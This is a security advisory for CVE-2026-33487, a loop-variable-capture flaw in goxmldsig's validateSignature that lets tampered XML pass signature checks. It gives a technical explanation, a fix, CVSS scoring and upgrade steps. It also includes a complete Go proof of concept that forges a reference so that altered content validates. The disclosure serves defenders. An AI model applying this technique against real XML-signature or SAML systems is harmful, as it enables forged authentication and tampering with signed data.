Skip to content

GHSA-479m-364c-43vc CVE-2026-33487 GO-2026-4753

validateSignature Loop Variable Capture Signature Bypass in goxmldsig

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.32%
Chance of exploitation in the next 30 days. Higher than 25.25% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-347 Improper Verification of Cryptographic Signature
CWE-682 Incorrect Calculation
Fix
1.6.0
Upgrade github.com/russellhaering/goxmldsig to this version or later

Description

Details

The validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop.


Technical Details

The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.

As a result, any pointer to this variable will always point to the value of the last element processed by the loop, no matter which element matched the search criteria.

Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.

// goxmldsig/validate.go (Lines 309-313)	
for _, _ref := range signedInfo.References {
		if _ref.URI == "" || _ref.URI[1:] == idAttr {
			ref = &_ref // <- Capture var address of loop
		}
	}


PoC

The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.

package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/tls"
	"crypto/x509"
	"encoding/base64"
	"fmt"
	"math/big"
	"time"

	"github.com/beevik/etree"
	dsig "github.com/russellhaering/goxmldsig"
)

func main() {
	key, err := rsa.GenerateKey(rand.Reader, 2048)
	if err != nil {
		panic(err)
	}

	template := &x509.Certificate{
		SerialNumber: big.NewInt(1),
		NotBefore:    time.Now().Add(-1 * time.Hour),
		NotAfter:     time.Now().Add(1 * time.Hour),
	}

	certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
	if err != nil {
		panic(err)
	}

	cert, _ := x509.ParseCertificate(certDER)

	doc := etree.NewDocument()
	root := doc.CreateElement("Root")
	root.CreateAttr("ID", "target")
	root.SetText("Malicious Content")

	tlsCert := tls.Certificate{
		Certificate: [][]byte{cert.Raw},
		PrivateKey:  key,
	}

	ks := dsig.TLSCertKeyStore(tlsCert)
	signingCtx := dsig.NewDefaultSigningContext(ks)

	sig, err := signingCtx.ConstructSignature(root, true)
	if err != nil {
		panic(err)
	}

	signedInfo := sig.FindElement("./SignedInfo")

	existingRef := signedInfo.FindElement("./Reference")
	existingRef.CreateAttr("URI", "#dummy")

	originalEl := etree.NewElement("Root")
	originalEl.CreateAttr("ID", "target")
	originalEl.SetText("Original Content")

	sig1, _ := signingCtx.ConstructSignature(originalEl, true)
	ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()

	signedInfo.InsertChildAt(existingRef.Index(), ref1)

	c14n := signingCtx.Canonicalizer

	detachedSI := signedInfo.Copy()
	if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
		detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
	}

	canonicalBytes, err := c14n.Canonicalize(detachedSI)
	if err != nil {
		fmt.Println("c14n error:", err)
		return
	}

	hash := signingCtx.Hash.New()
	hash.Write(canonicalBytes)
	digest := hash.Sum(nil)

	rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
	if err != nil {
		panic(err)
	}

	sigVal := sig.FindElement("./SignatureValue")
	sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))

	certStore := &dsig.MemoryX509CertificateStore{
		Roots: []*x509.Certificate{cert},
	}
	valCtx := dsig.NewDefaultValidationContext(certStore)

	root.AddChild(sig)

	doc.SetRoot(root)
	str, _ := doc.WriteToString()
	fmt.Println("XML:")
	fmt.Println(str)

	validated, err := valCtx.Validate(root)
	if err != nil {
		fmt.Println("validation failed:", err)
	} else {
		fmt.Println("validation ok")
		fmt.Println("validated text:", validated.Text())
	}
}

Impact

This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.


Remediation

Update the loop to capture the value correctly or use the index to reference the slice directly.

// goxmldsig/validate.go	
func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {
	var ref *types.Reference

  // OLD
	// for _, _ref := range signedInfo.References {
	// 	if _ref.URI == "" || _ref.URI[1:] == idAttr {
	// 		ref = &_ref
	// 	}
	// }
	
  // FIX
	for i := range signedInfo.References {
		if signedInfo.References[i].URI == "" ||
			signedInfo.References[i].URI[1:] == idAttr {
			ref = &signedInfo.References[i]
			break
		}
	}

	// ...
}

References

https://cwe.mitre.org/data/definitions/347.html

https://cwe.mitre.org/data/definitions/682.html

https://github.com/russellhaering/goxmldsig/blob/main/validate.go


Author: Tomas Illuminati

Affected versions

Go

PackageVulnerableFixed in
github.com/russellhaering/goxmldsig
<= 1.5.0
No fix yet
github.com/russellhaering/goxmldsig
< 1.6.0
1.6.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/russellhaering/goxmldsig Go → 1.6.0

go
go get github.com/russellhaering/goxmldsig@v1.6.0 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-347: Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

CWE-682: Incorrect Calculation

The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

How to prevent it
  • Implementation: Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.
  • Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.
  • Implementation: Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.
  • Architecture and Design: Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).
  • Architecture and Design: Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).
  • Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rrfw-hg9m-j47h
Signature Validation Bypass
Critical Also affects github.com/russellhaering/goxmldsig
GHSA-q547-gmf8-8jr7
github.com/russellhaering/goxmldsig vulnerable to Signature Validation Bypass
Medium Also affects github.com/russellhaering/goxmldsig
GHSA-mqqv-chpx-vq25
Duplicate Advisory: gosaml2 is vulnerable to NULL Pointer Dereference from malformed XML signatures
High Also affects github.com/russellhaering/goxmldsig
GHSA-m9hp-7r99-94h5
Authentication Bypass in dex
Critical Also affects github.com/russellhaering/goxmldsig
EEF-CVE-2026-65632
ECDSA signature length is not validated in jose, allowing signature malleability
Not rated yet Same weakness, CWE-347
GHSA-pxh4-856f-4h89
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
High Same weakness, CWE-347
GHSA-j7h2-66j4-ghjf
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
Low Same weakness, CWE-347
GHSA-w2cx-738m-mc7w
PyJWT accepts public JWK containers as HMAC secrets
High Same weakness, CWE-347

Credits: tomasilluminati

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor